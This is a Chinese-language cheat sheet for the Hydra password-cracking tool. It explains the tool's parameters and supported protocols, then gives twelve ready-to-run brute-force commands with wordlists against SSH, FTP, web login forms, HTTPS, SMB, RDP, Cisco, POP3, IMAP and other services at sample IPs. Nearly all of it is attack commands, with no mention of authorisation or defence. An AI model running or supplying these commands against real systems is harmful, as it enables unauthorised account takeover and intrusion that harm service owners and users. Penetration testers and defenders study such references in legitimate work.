参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
1 | -R 继续从上一次进度接着破解。 |
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc
ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec
rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
各种用法实例
1、破解ssh
1 | hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh |
2、破解ftp
1 | hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV |
3、get方式提交,破解web登录
1 | hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ |
4、post方式提交,破解web登录
1 | hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" |
5、破解https
1 | hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https |
6、破解teamspeak
1 | hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak |
7、破解cisco
1 | hydra -P pass.txt 10.36.16.18 cisco |
8、破解smb
1 | hydra -l administrator -P pass.txt 10.36.16.18 smb |
9、破解pop3
1 | hydra -l muts -P pass.txt my.pop3.mail pop3 |
10、破解rdp
1 | hydra ip rdp -l administrator -P pass.txt -V |
11、破解http-proxy
1 | hydra -l admin -P pass.txt http-proxy://10.36.16.18 |
12、破解imap
1 | hydra -L user.txt -p secret 10.36.16.18 imap PLAIN |